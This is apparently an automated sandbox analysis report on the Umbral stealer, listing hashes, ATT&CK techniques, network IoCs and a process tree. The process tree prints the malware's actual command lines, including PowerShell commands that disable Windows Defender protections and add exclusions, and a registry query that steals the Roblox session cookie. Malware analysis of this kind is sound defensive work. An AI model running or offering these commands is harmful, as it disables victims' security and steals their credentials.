umbral | 2744f1315bfa21aef381540d3ad53bc90cf15a8513905aba442b4610e8f0c337

Analysis

max time kernel
93s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
29/12/2024, 10:56

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General

Target

upx.exe
Size

230KB
MD5

de2d4e3d82dc91ee44c91793de896c7a
SHA1

3b8db665d3666be6a4234c801b9ca93ced36655e
SHA256

2744f1315bfa21aef381540d3ad53bc90cf15a8513905aba442b4610e8f0c337
SHA512

6a257e6df13bd6dcc1452fa692515b955896f1141aad84110ceaad5a3a929607586c849bcfdb161d648e89c53d747a39e564551172fd36c1e440618346b7b40f
SSDEEP

6144:jloZM+rIkd8g+EtXHkv/iD4Ff6Cj5nsAv7OXZkQlPJXb8e1mq/i:BoZtL+EP8t6Cj5nsAv7OXZkQllNq

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/996-1-0x0000023DF85B0000-0x0000023DF85F0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
640	powershell.exe
1360	powershell.exe
2644	powershell.exe
3516	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	upx.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
19	discord.com
20	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
9	ip-api.com

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1340	cmd.exe
3756	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
3984	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
3756	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
996	upx.exe
640	powershell.exe
640	powershell.exe
1360	powershell.exe
1360	powershell.exe
2644	powershell.exe
2644	powershell.exe
1240	powershell.exe
1240	powershell.exe
3516	powershell.exe
3516	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	996	upx.exe
Token: SeIncreaseQuotaPrivilege	5032	wmic.exe
Token: SeSecurityPrivilege	5032	wmic.exe
Token: SeTakeOwnershipPrivilege	5032	wmic.exe
Token: SeLoadDriverPrivilege	5032	wmic.exe
Token: SeSystemProfilePrivilege	5032	wmic.exe
Token: SeSystemtimePrivilege	5032	wmic.exe
Token: SeProfSingleProcessPrivilege	5032	wmic.exe
Token: SeIncBasePriorityPrivilege	5032	wmic.exe
Token: SeCreatePagefilePrivilege	5032	wmic.exe
Token: SeBackupPrivilege	5032	wmic.exe
Token: SeRestorePrivilege	5032	wmic.exe
Token: SeShutdownPrivilege	5032	wmic.exe
Token: SeDebugPrivilege	5032	wmic.exe
Token: SeSystemEnvironmentPrivilege	5032	wmic.exe
Token: SeRemoteShutdownPrivilege	5032	wmic.exe
Token: SeUndockPrivilege	5032	wmic.exe
Token: SeManageVolumePrivilege	5032	wmic.exe
Token: 33	5032	wmic.exe
Token: 34	5032	wmic.exe
Token: 35	5032	wmic.exe
Token: 36	5032	wmic.exe
Token: SeIncreaseQuotaPrivilege	5032	wmic.exe
Token: SeSecurityPrivilege	5032	wmic.exe
Token: SeTakeOwnershipPrivilege	5032	wmic.exe
Token: SeLoadDriverPrivilege	5032	wmic.exe
Token: SeSystemProfilePrivilege	5032	wmic.exe
Token: SeSystemtimePrivilege	5032	wmic.exe
Token: SeProfSingleProcessPrivilege	5032	wmic.exe
Token: SeIncBasePriorityPrivilege	5032	wmic.exe
Token: SeCreatePagefilePrivilege	5032	wmic.exe
Token: SeBackupPrivilege	5032	wmic.exe
Token: SeRestorePrivilege	5032	wmic.exe
Token: SeShutdownPrivilege	5032	wmic.exe
Token: SeDebugPrivilege	5032	wmic.exe
Token: SeSystemEnvironmentPrivilege	5032	wmic.exe
Token: SeRemoteShutdownPrivilege	5032	wmic.exe
Token: SeUndockPrivilege	5032	wmic.exe
Token: SeManageVolumePrivilege	5032	wmic.exe
Token: 33	5032	wmic.exe
Token: 34	5032	wmic.exe
Token: 35	5032	wmic.exe
Token: 36	5032	wmic.exe
Token: SeDebugPrivilege	640	powershell.exe
Token: SeDebugPrivilege	1360	powershell.exe
Token: SeDebugPrivilege	2644	powershell.exe
Token: SeDebugPrivilege	1240	powershell.exe
Token: SeIncreaseQuotaPrivilege	2352	wmic.exe
Token: SeSecurityPrivilege	2352	wmic.exe
Token: SeTakeOwnershipPrivilege	2352	wmic.exe
Token: SeLoadDriverPrivilege	2352	wmic.exe
Token: SeSystemProfilePrivilege	2352	wmic.exe
Token: SeSystemtimePrivilege	2352	wmic.exe
Token: SeProfSingleProcessPrivilege	2352	wmic.exe
Token: SeIncBasePriorityPrivilege	2352	wmic.exe
Token: SeCreatePagefilePrivilege	2352	wmic.exe
Token: SeBackupPrivilege	2352	wmic.exe
Token: SeRestorePrivilege	2352	wmic.exe
Token: SeShutdownPrivilege	2352	wmic.exe
Token: SeDebugPrivilege	2352	wmic.exe
Token: SeSystemEnvironmentPrivilege	2352	wmic.exe
Token: SeRemoteShutdownPrivilege	2352	wmic.exe
Token: SeUndockPrivilege	2352	wmic.exe
Token: SeManageVolumePrivilege	2352	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 996 wrote to memory of 5032	996	upx.exe	82
PID 996 wrote to memory of 5032	996	upx.exe	82
PID 996 wrote to memory of 1500	996	upx.exe	85
PID 996 wrote to memory of 1500	996	upx.exe	85
PID 996 wrote to memory of 640	996	upx.exe	87
PID 996 wrote to memory of 640	996	upx.exe	87
PID 996 wrote to memory of 1360	996	upx.exe	89
PID 996 wrote to memory of 1360	996	upx.exe	89
PID 996 wrote to memory of 2644	996	upx.exe	91
PID 996 wrote to memory of 2644	996	upx.exe	91
PID 996 wrote to memory of 1240	996	upx.exe	93
PID 996 wrote to memory of 1240	996	upx.exe	93
PID 996 wrote to memory of 2352	996	upx.exe	95
PID 996 wrote to memory of 2352	996	upx.exe	95
PID 996 wrote to memory of 4728	996	upx.exe	97
PID 996 wrote to memory of 4728	996	upx.exe	97
PID 996 wrote to memory of 5000	996	upx.exe	99
PID 996 wrote to memory of 5000	996	upx.exe	99
PID 996 wrote to memory of 3516	996	upx.exe	101
PID 996 wrote to memory of 3516	996	upx.exe	101
PID 996 wrote to memory of 3984	996	upx.exe	103
PID 996 wrote to memory of 3984	996	upx.exe	103
PID 996 wrote to memory of 1340	996	upx.exe	105
PID 996 wrote to memory of 1340	996	upx.exe	105
PID 1340 wrote to memory of 3756	1340	cmd.exe	107
PID 1340 wrote to memory of 3756	1340	cmd.exe	107

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1500	attrib.exe

C:\Users\Admin\AppData\Local\Temp\upx.exe
"C:\Users\Admin\AppData\Local\Temp\upx.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:996
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:5032
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\upx.exe"
  2⤵
  - Views/modifies file attributes
  PID:1500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\upx.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1360
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2644
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1240
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2352
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:4728
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:5000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3516
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:3984
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\upx.exe" && pause
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Suspicious use of WriteProcessMemory
  PID:1340
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:3756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
77d622bb1a5b250869a3238b9bc1402b

SHA1
d47f4003c2554b9dfc4c16f22460b331886b191b

SHA256
f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb

SHA512
d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
5824a6037c081fda5d46de274b6e2799

SHA1
526367a09300cbde430e8fb44e41cbe7a0937aac

SHA256
4d610d9cd32a20279c7133a726ff61820d6930e5aa18253ee1422f3a6f54953f

SHA512
a109b150f730cda78d5bee106bd232f9dca7500dfb7899c6919de2bd542e345ca271aa11809a24ea0a27dca158067ab3a2d5688ac0a2325185143245f1665582

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
88be3bc8a7f90e3953298c0fdbec4d72

SHA1
f4969784ad421cc80ef45608727aacd0f6bf2e4b

SHA256
533c8470b41084e40c5660569ebbdb7496520d449629a235e8053e84025f348a

SHA512
4fce64e2dacddbc03314048fef1ce356ee2647c14733da121c23c65507eeb8d721d6b690ad5463319b364dc4fa95904ad6ab096907f32918e3406ef438a6ef7c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
6d6f676b1fa0495b451e5faf4b8b54b3

SHA1
b65fd6f18d665e370cc86093b1e63ac26727f336

SHA256
8a9954050a2dcae21b2906d90e584c90c377dac223e93f4dc26772577ed17c22

SHA512
2b2e5a7c328e4d51cda7de04ed0fb107bb69f5dc26cb8f1beb29dfa50c812a6681d6a672da8f97fa1a108ddbac6b9f56674cef1a9020fade25b7690a9244336f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1x0i3f24.wmx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/640-4-0x00007FFFAEA10000-0x00007FFFAF4D1000-memory.dmp

Filesize
10.8MB

Download
memory/640-14-0x000001A16D130000-0x000001A16D152000-memory.dmp

Filesize
136KB

Download
memory/640-15-0x00007FFFAEA10000-0x00007FFFAF4D1000-memory.dmp

Filesize
10.8MB

Download
memory/640-18-0x00007FFFAEA10000-0x00007FFFAF4D1000-memory.dmp

Filesize
10.8MB

Download
memory/640-3-0x00007FFFAEA10000-0x00007FFFAF4D1000-memory.dmp

Filesize
10.8MB

Download
memory/996-34-0x0000023DFAD90000-0x0000023DFADE0000-memory.dmp

Filesize
320KB

Download
memory/996-33-0x0000023DFAD10000-0x0000023DFAD86000-memory.dmp

Filesize
472KB

Download
memory/996-35-0x0000023DFAB20000-0x0000023DFAB3E000-memory.dmp

Filesize
120KB

Download
memory/996-1-0x0000023DF85B0000-0x0000023DF85F0000-memory.dmp

Filesize
256KB

Download
memory/996-0-0x00007FFFAEA13000-0x00007FFFAEA15000-memory.dmp

Filesize
8KB

Download
memory/996-72-0x0000023DFACA0000-0x0000023DFACAA000-memory.dmp

Filesize
40KB

Download
memory/996-73-0x0000023DFACD0000-0x0000023DFACE2000-memory.dmp

Filesize
72KB

Download
memory/996-2-0x00007FFFAEA10000-0x00007FFFAF4D1000-memory.dmp

Filesize
10.8MB

Download
memory/996-93-0x00007FFFAEA10000-0x00007FFFAF4D1000-memory.dmp

Filesize
10.8MB

Download